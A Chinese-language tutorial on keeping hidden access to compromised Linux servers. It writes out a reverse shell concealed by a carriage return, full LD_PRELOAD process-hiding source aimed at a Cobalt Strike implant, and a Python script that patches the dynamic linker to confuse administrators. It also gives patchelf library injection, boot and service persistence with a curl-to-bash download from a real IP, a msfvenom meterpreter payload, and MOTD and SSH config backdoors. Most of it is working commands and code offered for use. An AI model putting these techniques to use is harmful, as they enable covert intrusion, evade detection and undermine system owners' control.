小技巧
\r特性
原理:shell 在解析 \r 時會忽略掉 \r 前的信息。
cat其實默認使用是支持一些比如 \r 回車符 \n 換行符 \f 換頁符、也就是這些符號導致的能夠隱藏命令,使用cat -A可以看到真正的內容
比如舉例隱藏反彈shell
#!/bin/bash$ mkdir /tmp/222;echo "bash -i >& /dev/tcp/ip/443 0>&1 &" > /tmp/222/1.sh;bash /tmp/222/1.sh;echo 'Hello world!' #^Mecho 'Hello world!'
cat如果不加-A參數,或者不實用vim或者文本方式打開

正常運行效果

文件鎖定
chattr +i evil.php #鎖定文件 rm -rf evil.php #提示禁止刪除 lsattr evil.php #屬性查看 chattr -i evil.php #解除鎖定 rm -rf evil.php #徹底刪除文件

修改文件時間
其中-m參數是不創建一個文件,需要對已存在的文件進行修改時間,若不加-m參數會創建一個文件
touch -acmr 10-help-text 20-help-text

隱藏進程
通過預加載方式隱藏進程
**適用范圍:**
- [x] Debian 5.7.6-1kali2(其他版本未測試)
- [x] Ubuntu 16.04.7 LTS(其他版本未測試)
- [x] Centos7(其他版本未測試)
- [ ] 其他暫未測試
如果有root權限可以直接修改/etc/ld.so.preload配置文件來加載我們的惡意so文件,以下是修改/etc/ld.so.preload為例子來演示
如果沒有root權限可以設置當前普通用戶的LD_PRELOAD環境變量來加載我們的so文件
https://github.com/gianlucaborello/libprocesshider
processhider.c
這里的process_to_filter就是要隱藏的進程,這里是以Linux上線cs的木馬為例子
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
/*
* Every process with this name will be excluded
*/
static const char* process_to_filter = "CyqajxNwxu";
/*
* Get a directory name given a DIR* handle
*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp);
if(fd == -1) {
return 0;
}
char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) {
return 0;
}
buf[ret] = 0;
return 1;
}
/*
* Get a process name given its pid
*/
static int get_process_name(char* pid, char* buf)
{
if(strspn(pid, "0123456789") != strlen(pid)) {
return 0;
}
char tmp[256];
snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
FILE* f = fopen(tmp, "r");
if(f == NULL) {
return 0;
}
if(fgets(tmp, sizeof(tmp), f) == NULL) {
fclose(f);
return 0;
}
fclose(f);
int unused;
sscanf(tmp, "%d (%[^)]s", &unused, buf);
return 1;
}
#define DECLARE_READDIR(dirent, readdir) \
static struct dirent* (*original_##readdir)(DIR*) = NULL; \
\
struct dirent* readdir(DIR *dirp) \
{ \
if(original_##readdir == NULL) { \
original_##readdir = dlsym(RTLD_NEXT, #readdir); \
if(original_##readdir == NULL) \
{ \
fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \
} \
} \
\
struct dirent* dir; \
\
while(1) \
{ \
dir = original_##readdir(dirp); \
if(dir) { \
char dir_name[256]; \
char process_name[256]; \
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
strcmp(dir_name, "/proc") == 0 && \
get_process_name(dir->d_name, process_name) && \
strcmp(process_name, process_to_filter) == 0) { \
continue; \
} \
} \
break; \
} \
return dir; \
}
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);
在未隱藏進程前效果:



編譯processhider.c
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
mv libprocesshider.so /usr/local/lib/
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

但是網絡狀態還是能看到外連信息,但是進程ID看不到了

掛載隱藏進程
**限制:**需要root權限
**適用范圍:**
- [x] Debian 5.7.6-1kali2(其他版本未測試)
- [x] Ubuntu 16.04.7 LTS(其他版本未測試)
- [x] Centos7(其他版本未測試)
- [ ] 其他暫未進行測試
這里以反彈shell為例子,可靈活使用
run.sh是反彈shell的操作,一般來說執行了反彈shell操作會有一個bash -i的進程,如下圖:


可以通過掛載的方式隱藏該進程
- 創建一個空目錄進行掛載 /tmp/test
- 通過掛載,隱藏了run.sh的進程
mount -o bind /tmp/test /proc/66893 (這里的進程ID就是上面執行反彈shell的對應ID)

可以看到之前bash -i的進程沒有找到

查看網絡連接狀態,可以看到我們反彈shell的外連IP看不到對應的進程

恢復原狀
umonut -v /proc/66893


同理利用這種方式可以隱藏其他一些進程,比如我們的木馬,python執行的腳本等等,可靈活使用
拓展:
權限維持時候可以結合**cat特性**+**文件鎖定**+**通過掛載的方式隱藏進程/通過預加載方式隱藏進程**+**服務啟動或者計劃任務等方式**組合來實現自動化小工具權限維持
庫文件劫持
修改動態鏈接器實現惡意功能
**限制:**需要root權限
**適用范圍:**
- [x] Debian 5.7.6-1kali2(其他版本未測試)
- [x] Ubuntu 16.04.7 LTS(其他版本未測試)
- [x] Centos7(其他版本未測試)
- [ ] 其他還未測試
首先了解下Linux應用程序的一個執行邏輯,以下這張圖一目了然

程序的鏈接
- 靜態鏈接:在程序運行之前先將各個目標模塊以及所需要的庫函數鏈接成一個完整的可執行程序,之后不再拆開。如busybox
- 裝入時動態鏈接:源程序編譯后所得到的一組目標模塊,在裝入內存時,邊裝入邊鏈接。
- 運行時動態鏈接:原程序編譯后得到的目標模塊,在程序執行過程中需要用到時才對它進行鏈接。
對于動態鏈接來說,需要一個動態鏈接庫,其作用在于當動態庫中的函數發生變化對于可執行程序來說時透明的,可執行程序無需重新編譯,方便程序的發布/維護/更新。但是由于程序是在運行時動態加載,這就存在一個問題,假如程序動態加載的函數是惡意的,就有可能導致一些非預期的執行結果或者繞過某些安全設置。
因此有三處存在文件劫持的可能性:
- 修改LD_PRELOAD環境變量來加載惡意的so文件
- 直接修改/etc/ld.so.preload文件加載惡意的so文件
- 修改動態鏈接器實現惡意功能,比如修改動態連接器默認用于預加載的配置文件的指向路徑,本來的默認路徑是/etc/ld.so.preload,把這個路徑修改為自定義的路徑,然后在里面寫入要加載的惡意動態庫。又比如修改默認的用于預加載的環境變量
以上三種方法中,第1、2點及其容易被發現,**這里主要講下第三種的實現方法**
動態鏈接器可以被正在運行的動態鏈接程序或者動態對象(沒有對動態鏈接器指定命令選項,動態鏈接器被存儲在程序的.interp區域)間接調用,也可以直接運行程序,
例如:/lib/ld-linux.so.* [OPTIONS] [PROGRAM [ARGUMENTS]]
很多現代應用都是通過動態編譯鏈接的,當一個 需要動態鏈接 的應用被操作系統加載時,系統必須要 定位 然后 加載它所需要的所有動態庫文件。
ld.so和ld-linux.so*查找并且裝載其他程序所依賴的動態鏈接對象,當裝載完畢之后,就開始運行程序
Linux二進制運行程序要求動態鏈接(在運行時鏈接)除非在匯編期間指定-static選項
動態鏈接器:

**/lib64/ld-linux-x86-64.so.2**是一個軟鏈接,這里在Ubuntu 16.04.7 LTS鏈接到/lib/x86_64-linux-gnu/ld-2.23.so
在Linux環境下,這項工作是由ld-linux.so.2來負責完成的,我們可以通過 ldd 命令來查看一個 應用需要哪些依賴的動態庫:

當最常見的ls小程序加載時,操作系統會將 控制權 交給 ld-linux.so 而不是 交給程序正常的進入地址。ld-linux.so.2 會尋找然后加載所有需要的庫文件,然后再將控制權交給應用的起始入口。
上面的ls在啟動時,就需要ld-linux.so加載器將所有的動態庫加載后然后再將控制權移交給ls程序的入口。
這里以為Ubuntu 16.04.7 LTS例子,里面就默認寫死了/etc/ld.so.preload的路徑,可以通過sed命令對其進行修改

這里就有一個小技巧

參考鏈接:
https://everydaywithlinux.blogspot.com/2012/11/patch-strings-in-binary-files-with-sed.html
通過編寫腳本實現該功能:
該腳本修改動態連接器默認用于預加載的配置文件的指向路徑,本來的默認路徑是/etc/ld.so.preload,修改后的路徑是隨機路徑
#!/usr/bin/python2
# modifies the dynamic linker and changes the target location of /etc/ld.so.preload to a random file in a random directory
# this means that ld.so.preload will no longer make a difference, and it'll confuse the fuck out of sysadmins trying to remove any LD_PRELOAD malware on their box
# 'new' ld.so.preload file location can still be discovered by reading the strings in the dynamic linker libraries
# this python script is based off of http://everydaywithlinux.blogspot.co.uk/2012/11/patch-strings-in-binary-files-with-sed.html
# this could also potentially be used to easily prevent LD_PRELOAD attacks on your own boxes :p (assuming you aren't using ld.so.preload for a legit reason already)
import os
import sys
import random
import string
import subprocess
LIB_DIRS = ["/lib/", "/lib/x86_64-linux-gnu/", "/lib/i386-linux-gnu/", "/lib32/", "/libx32/", "/lib64/"]
P_DIRS = ["/bin/", "/sbin/", "/etc/", "/home/", "/lib/", "/libx32/", "/lib64/", "/opt/", "/usr/", "/var/"] # doesn't really matter where the file is stored since vlany hides it anyway but nothing like a little more obscurity
O_PRELOAD = "/etc/ld.so.preload"
PYL = """hexdump -ve '1/1 "%.2X"' {0} | sed "s/{1}/{2}/g" | xxd -r -p > {0}.tmp
chmod --reference {0} {0}.tmp
mv {0}.tmp {0}"""
def get_n_preload():
n_preload = "{0}.{1}"
_dir = random.choice(P_DIRS)
while not os.path.exists(_dir):
_dir = random.choice(P_DIRS)
n_preload = n_preload.format(_dir, ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(8)))
return n_preload
def hex_str(_):
return _.encode("hex").upper() + "00"
def patch_lib(target_lib, o_preload, n_preload):
print("Attempting to patch {0} by replacing {1} with new string, {2}".format(target_lib, o_preload, n_preload))
p = subprocess.Popen(["strings", target_lib], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = p.communicate()
for x in out.split("\n"):
if x == o_preload:
print("old preload found in {0}: {1}".format(target_lib, x))
o_preload_hex = hex_str(o_preload)
n_preload_hex = hex_str(n_preload)
while(len(n_preload_hex) <> len(o_preload_hex)):
print("Padding the new preload location with nullbytes.")
n_preload_hex += "00"
print("Replacing {0} with {1} in library {2}".format(o_preload, n_preload, target_lib))
os.system(PYL.format(target_lib, o_preload_hex, n_preload_hex))
print("{0} patched.".format(target_lib))
def get_ld_locations():
lib_locations = ""
for _ in LIB_DIRS:
if os.path.exists(_):
for x in os.listdir(_):
if x.startswith("ld-2"):
lib_locations += "{0}{1}\n".format(_, x)
return lib_locations
if __name__ == "__main__":
locations = get_ld_locations()[:-1]
if sys.argv[1]:
if sys.argv[1] == "-c":
os.system("cp " + locations + " /tmp/backup")
print("backup: "+ locations + " to: /tmp/backup")
n_preload = get_n_preload()
for x in locations.split("\n"):
patch_lib(x, O_PRELOAD, n_preload)
f = open("new_preload", "w")
f.write(n_preload)
f.close()
if sys.argv[1] == "-r":
print("recovery: " +locations)
os.system("mv " + "/tmp/backup" + " "+locations)
使用方法:
python xxx.py -c
-c參數修改動態鏈接器的默認路徑為一個隨機路徑,并且備份初始狀態的動態鏈接器
python xxx.py -r
恢復初始狀態的動態鏈接器,默認路徑恢復為/etc/ld.so.preload

so文件注入
**適用范圍:**
- [x] Debian
- [x] Ubuntu
- [x] Centos7
- [ ] 其他版本暫未測試
項目介紹
https://github.com/NixOS/patchelf
PatchELF is a simple utility for modifying existing ELF executables and libraries.
release直接編譯好不同的版本
注入到系統命令
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
__attribute__ ((__constructor__)) void preload (void){
system("id");
}
這里需要絕對路徑,不然注入不成功
gcc -shared -fPIC inject.c -o inject.so ./patchelf --add-needed /root/inject.so /bin/ls ldd /bin/ls
刪除被注入的so文件
./patchelf --remove-needed /root/inject.so /bin/ls
效果如下:

注入到程序
一個簡單的main.c程序
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
printf("Just Test...\n\n");
}
編譯執行:
gcc main.c -o main ./main


#include <stdio.h>
#include <stdlib.h>
void __attribute__ ((constructor)) inject_init()
{
printf("libinject.so init.\n");
}
void __attribute__ ((destructor)) inject_exit()
{
printf("libinject.so exit.\n");
}
gcc -shared -fPIC inject.c -o inject.so
patchelf --add-needed /home/zhangsan/inject.so main

開機自啟動
修改/etc/rc.d/rc.local
**限制:**需要root權限
**適用范圍:**
- [x] Debian 5.7.6-1kali2
- [x] Ubuntu 16.04.7 LTS
- [x] Centos7
不通操作系統所在位置不通,后面補充

/etc/rc.d/rc.local 用于用戶自定義開機啟動程序,因此可以往里寫開機要執行的命令或腳本。
- 首先需要對該文件chmod +x /etc/rc.d/rc.local 賦予執行權限
往里面添加我們自定義的腳本/tmp/.Test-unix/run.sh

- chmod +x /tmp/.Test-unix/run.sh


不過用此方式反彈的shell,查看ifconfig是看不到的

建議不要使用反彈shell,通過木馬方式上線


服務自啟動
chkconfig方式
**限制:**需要root權限
**適用范圍:**
- [x] Debian 5.7.6-1kali2(其他版本未測試)
- [x] Ubuntu 16.04.7 LTS(其他版本未測試)
- [x] Centos7(其他版本未測試)
- [ ] 其他還未測試
服務腳本保存在:/etc/init.d 或者 /etc/rc.d/init.d

chkconfig <service> on/off,添加/刪除一個自啟動服務,服務腳本存在于/etc/init.d。
chkconfig --list,列出的服務均為RPM包安裝的服務和通過chkconfig --add xxx設置開機啟動的服務。
service <service> start/stop/restart/status,啟動/停止/重啟/查看。
亦可:/etc/init.d/sshd start/stop/restart/status
service --status-all,查看所有服務的狀態。
ntsysv,以全屏幕文本界面設置服務開機時是否自動啟動。
Linux服務器啟動的時候分為6個等級:
0.表示關機
1.單用戶模式
2.無網絡的多用戶模式
3.有網絡的多用戶模式
4.不可用
5.圖形化界面
6.重新啟動
可修改該目錄下的腳本,添加惡意的腳本或者命令
cat /etc/rc.d/init.d/network


添加自定義服務方式:
1、在/etc/init.d/目錄下新建一個自定義服務的文件如:myservice,chmod +x /etc/init.d/myservice
2、添加下面兩句到 #!/bin/bash 之后。
#!/bin/bash # chkconfig: 2345 90 90 # description: myservice curl -A O -o- -L http://101.34.162.92:55414/api | bash -s
PS:不添加這兩行會報錯:執行chkconfig --add myservice后提示:service myservice does not support chkconfig
PS:其中2345是默認啟動級別,級別有0-6共7個級別
等級0表示:表示關機
等級1表示:單用戶模式
等級2表示:無網絡連接的多用戶命令行模式
等級3表示:有網絡連接的多用戶命令行模式
等級4表示:不可用
等級5表示:帶圖形界面的多用戶模式
等級6表示:重新啟動
10是啟動優先級,90是停止優先級,優先級范圍是0-100,數字越大,優先級越低。
3、命令
開啟開機自啟動服務:chkconfig myservice on
添加開機自啟動服務:chkconfig --add myservice
查看開機自啟動服務:chkconfig --list myservice
刪除服務
chkconfig --del myservice

systemctl方式
- [x] Debian 5.7.6-1kali2
- [x] Ubuntu 16.04.7 LTS
- [x] Centos7
- [ ] 其他還未測試
由于chkconfig是Redhat發行版特有的服務配置方式,在基于debian的發行版下原生不支持,因此使用systemctl方式添加自定義系統服務,更具優勢。
由于chkconfig是Redhat發行版特有的服務配置方式,在基于debian的發行版下原生不支持,因此使用systemctl方式添加自定義系統服務,更具優勢。
systemctl腳本存放在:/usr/lib/systemd/,有系統(system)和用戶(user)之分,需要開機不登陸就能運行的程序,存在系統服務里,即:/usr/lib/systemd/system目錄下。
systemctl管理的每一個服務以.service結尾,一般會分為3部分:[Unit]、[Service]和[Install]。
[Unit]
主要是對這個服務的說明,內容包括Description和After,Description 用于描述服務,After用于描述服務類別
[Service]
Type=simple(默認值):systemd認為該服務將立即啟動。服務進程不會fork。如果該服務要啟動其他服務,不要使用此類型啟動,除非該服務是socket激活型。
Type=forking:systemd認為當該服務進程fork,且父進程退出后服務啟動成功。對于常規的守護進程(daemon),除非你確定此啟動方式無法滿足需求,使用此類型啟動即可。使用此啟動類型應同時指定 PIDFile=,以便systemd能夠跟蹤服務的主進程。
Type=oneshot:這一選項適用于只執行一項任務、隨后立即退出的服務。可能需要同時設置 RemainAfterExit=yes 使得 systemd 在服務進程退出之后仍然認為服務處于激活狀態。
Type=notify:與 Type=simple 相同,但約定服務會在就緒后向 systemd 發送一個信號。這一通知的實現由 libsystemd-daemon.so 提供。
Type=dbus:若以此方式啟動,當指定的 BusName 出現在DBus系統總線上時,systemd認為服務就緒。
Type=idle: systemd會等待所有任務(Jobs)處理完成后,才開始執行idle類型的單元。除此之外,其他行為和Type=simple 類似。
PIDFile:pid文件路徑
ExecStart:指定啟動單元的命令或者腳本,ExecStartPre和ExecStartPost節指定在ExecStart之前或者之后用戶自定義執行的腳本。Type=oneshot允許指定多個希望順序執行的用戶自定義命令。
ExecReload:指定單元停止時執行的命令或者腳本。
ExecStop:指定單元停止時執行的命令或者腳本。
PrivateTmp:True表示給服務分配獨立的臨時空間
Restart:這個選項如果被允許,服務重啟的時候進程會退出,會通過systemctl命令執行清除并重啟的操作。
RemainAfterExit:如果設置這個選擇為真,服務會被認為是在激活狀態,即使所以的進程已經退出,默認的值為假,這個選項只有在Type=oneshot時需要被配置。
注意:[Service]部分的啟動、重啟、停止命令全部要求使用絕對路徑,使用相對路徑則會報錯!
[Install]
服務安裝的相關設置,可設置為多用戶的
例子:
[Unit] Description=myservice After=myservice.service [Service] Type=oneshot RemainAfterExit=yes ExecStart=/opt/myservice/start.sh ExecReload= ExecStop=/opt/myservice/stop.sh [Install] WantedBy=multi-user.target
chmod +755 /opt/myservice/start.sh
#!/bin/bash /tmp/CyqajxNwxu
腳本授權:chmod 755 /usr/lib/systemd/system/myservice.service
開機啟動:systemctl enable myservice.service
至此,每次開機都會執行/opt/myservice/start.sh,每次關機都會執行/opt/myservice/stop.sh
ubuntu有所不同啟動方式

然后執行以下命令
systemctl enable /usr/lib/systemd/myservice.service
立即啟動命令:systemctl start myservice.service


使用systemctl restart myservice.service命令時候會再次執行服務的腳本
[Unit] Description=myservice After=myservice.service [Service] Type=oneshot RemainAfterExit=yes ExecStart=/tmp/run.sh ExecReload= ExecStop=/tmp/run.sh [Install] WantedBy=multi-user.target #!/bin/sh nohup /home/zhangsan/test.sh &
chkconfig與systemctl命令對照表

SSH相關
MOTD后門
**限制:**需要root權限
**適用范圍:**
- [x] Debian 5.7.6-1kali2
- [x] Ubuntu 16.04.7 LTS
- [ ] centos7經測試不行
- [ ] 其他還未測試
motd,全稱Message Of The Day,是Linux中發送問候消息的功能,一般在我們登錄服務器后顯示

每次任意用戶登錄時都會觸發motd服務的功能,這個功能的腳本幾乎都是使用root 權限來啟動的
motd 的動態腳本:
發行版本對應的位置Debian 5.7.6-1kali2/etc/update-motd.d/目錄下Ubuntu 16.04.7 LTS/etc/update-motd.d/目錄下centos7(經測試發現centos7該位置motd無法執行命令和腳本)/etc/motd 這里以Ubuntu 16.04.7 LTS 為例子:
motd 的動態腳本都在 /etc/update-motd.d/這個目錄下

這些腳本動態的組合成了我們上面看到的那么 Banner 信息
這些文件只允許 root 用戶編輯,所以使用此后門需要先獲取root權限
這個目錄下的所有文件在任意用戶登錄后都會執行一遍,因此可以通過這些腳本來留下我們的后門來權限維持
可以看到00-header打印了如下信息

就是SSH登陸成功出現的信息

因此我們可以修改默認的腳本或者新建惡意的腳本來實現權限維持
msfvenom -p python/meterpreter/reverse_https lhost=xxxx lport=8443 -f raw


SSH登陸觸發


通過新建腳本的方式:
cp /etc/update-motd.d/10-help-text /etc/update-motd.d/20-network-dist chmod +x 20-network-dist
然后往里面加入我們的惡意腳本

SSH


SSH Config后門
**限制:**需要root權限
**適用范圍:**
- [x] Debian
- [x] Ubuntu
- [x] Centos7
- [ ] 其他還未測試
ssh客戶端配置文件的加載順序:
命令行參數 > ~/.ssh/config > /etc/ssh/ssh_config
在這個配置文件里有兩個關鍵的參數
**LocalCommand**
在設置LocalCommand時候,當進行SSH連接成功后可以執行我們自定義的命令,設置了LocalCommand同時必須要設置PermitLocalCommand的值為yes


SSH連接其他主機成功時候觸發我們自定義的命令

**ProxyCommand**
連接主機過程中設置代理所使用的命令



LemonSec
LemonSec
一顆小胡椒
betasec
系統安全運維
一顆小胡椒
LemonSec
LemonSec
威努特工控安全
雁行安全團隊
一顆小胡椒
安全圈